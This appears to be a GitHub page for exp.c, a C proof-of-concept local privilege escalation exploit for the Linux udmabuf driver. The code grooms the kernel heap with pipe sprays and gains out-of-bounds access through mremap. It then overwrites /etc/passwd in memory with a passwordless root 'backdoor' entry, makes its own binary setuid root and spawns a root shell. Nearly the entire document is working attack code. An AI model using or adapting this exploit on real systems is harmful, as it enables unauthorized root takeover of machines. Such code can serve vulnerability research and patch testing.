-
Notifications
You must be signed in to change notification settings - Fork 9
/
exp.c
210 lines (159 loc) · 5.28 KB
/
exp.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/mman.h>
#include <err.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/uio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#define PAGE_SIZE 4096
#define N_PAGES_ALLOC 128
#define N_PIPES_SPRAY 256
struct udmabuf_create
{
uint32_t memfd;
uint32_t flags;
uint64_t offset;
uint64_t size;
};
#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)
int main(int argc, char* argv[argc+1])
{
if (geteuid() == 0)
{
printf("[+] backdoor triggered successfully!\n");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
system("/bin/sh");
exit(EXIT_SUCCESS);
}
int mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
if (mem_fd < 0)
errx(1, "couldn't create anonymous file");
/* setup size of anonymous file, the initial size was 0 */
if (ftruncate(mem_fd, PAGE_SIZE * N_PAGES_ALLOC) < 0)
errx(1, "couldn't truncate file length");
/* make sure the file cannot be reduced in size */
if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0)
errx(1, "couldn't seal file");
printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, PAGE_SIZE * N_PAGES_ALLOC);
int target_fd = open("/etc/passwd", O_RDONLY);
if (target_fd < 0)
errx(1, "couldn't open target file");
/* create a read-only shared mapping avoiding CoW */
void* target_map = mmap(NULL, PAGE_SIZE, PROT_READ, MAP_SHARED, target_fd, 0);
if (target_map == MAP_FAILED)
errx(1, "couldn't map target file");
printf("[*] target file mapped at %p (%#x bytes)\n", target_map, PAGE_SIZE);
int dev_fd = open("/dev/udmabuf", O_RDWR);
if (dev_fd < 0)
errx(1, "couldn't open device");
printf("[*] udmabuf device fd=%d\n", dev_fd);
size_t attempt = 0;
int end = 0;
while (! end)
{
printf("[!] attempt %zu\n", attempt++);
/* spray pipes, by default the pipe buffers array land on kmalloc-1024 */
int pipe_fds[N_PIPES_SPRAY][2] = { 0 };
for (int i=0; i < N_PIPES_SPRAY; i++)
{
if (pipe(pipe_fds[i]) < 0)
errx(1, "couldn't create pipe");
}
printf("[*] sprayed %d pipes\n", N_PIPES_SPRAY);
/* shrink some pipes making holes in kmalloc-1024 */
for (int i=0; i < N_PIPES_SPRAY; i++)
{
if (i % 2 == 0)
{
if (fcntl(pipe_fds[i][0], F_SETPIPE_SZ, PAGE_SIZE) < 0)
errx(1, "couldn't shrink pipe");
}
}
struct udmabuf_create create = { 0 };
create.memfd = mem_fd;
create.size = PAGE_SIZE * N_PAGES_ALLOC;
/* reallocate one of the freed holes in kmalloc-1024 */
int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create);
if (udmabuf_fd < 0)
errx(1, "couldn't create udmabuf");
printf("[*] udmabuf fd=%d\n", udmabuf_fd);
/* vmsplice to all pipes, should grab a page reference and
* put the page pointer inside the pipe buf. hopefully one
* of this is just after our pages array */
for (int i=0; i < N_PIPES_SPRAY; i++)
{
struct iovec iov = {
.iov_base = target_map,
.iov_len = PAGE_SIZE,
};
if (vmsplice(pipe_fds[i][1], &iov, 1, 0) < 0)
errx(1, "couldn't splice target page into pipes");
}
/* map the udmabuf into userspace */
void* udmabuf_map = mmap(NULL, PAGE_SIZE * N_PAGES_ALLOC,
PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0);
if (udmabuf_map == MAP_FAILED)
errx(1, "couldn't map udmabuf");
printf("[*] udmabuf mapped at %p (%#x bytes)\n",
udmabuf_map, PAGE_SIZE * N_PAGES_ALLOC);
/* remap the virtual mapping expanding its size */
void* new_udmabuf_map = mremap(udmabuf_map,
PAGE_SIZE * N_PAGES_ALLOC, PAGE_SIZE * N_PAGES_ALLOC * 2, MREMAP_MAYMOVE);
if (new_udmabuf_map == MAP_FAILED)
errx(1, "couldn't remap udmabuf mapping");
printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map,
PAGE_SIZE * N_PAGES_ALLOC * 2);
/* we should be out-of-bounds of the pages array */
char* ptr = new_udmabuf_map + PAGE_SIZE * N_PAGES_ALLOC;
pid_t pid = fork();
if (pid < 0)
errx(1, "couldn't fork");
if (! pid)
{
/* check if the oob succeded */
if (! memcmp(ptr, "root", 4))
exit(EXIT_SUCCESS);
exit(EXIT_FAILURE);
}
int wstatus = -1;
if (waitpid(pid, &wstatus, 0) < 0)
errx(1, "couldn't wait for child");
if ((end = ! wstatus))
{
printf("[+] heap spraying succeded\n");
char backdoor[] = "root::0:0:xroot:/root:/bin/bash";
char backup[sizeof(backdoor)] = { 0 };
memcpy(backup, ptr, sizeof(backup));
memcpy(ptr, backdoor, sizeof(backdoor));
printf("[*] backdoor installed\n");
char cmd[512];
sprintf(cmd, "su -c \"chown root:root %s && chmod u+s %s\"",
argv[0], argv[0]);
printf("[*] payload=%s\n", cmd);
system(cmd);
memcpy(ptr, backup, sizeof(backup));
printf("[*] backup restored\n");
}
else
{
printf("[-] heap spraying failed\n");
/* roll back, we need to spray again */
munmap(new_udmabuf_map, PAGE_SIZE * N_PAGES_ALLOC * 2);
close(udmabuf_fd);
for (int i=0; i < N_PIPES_SPRAY; i++)
{
close(pipe_fds[i][0]);
close(pipe_fds[i][1]);
}
}
}
system(argv[0]);
return EXIT_SUCCESS;
}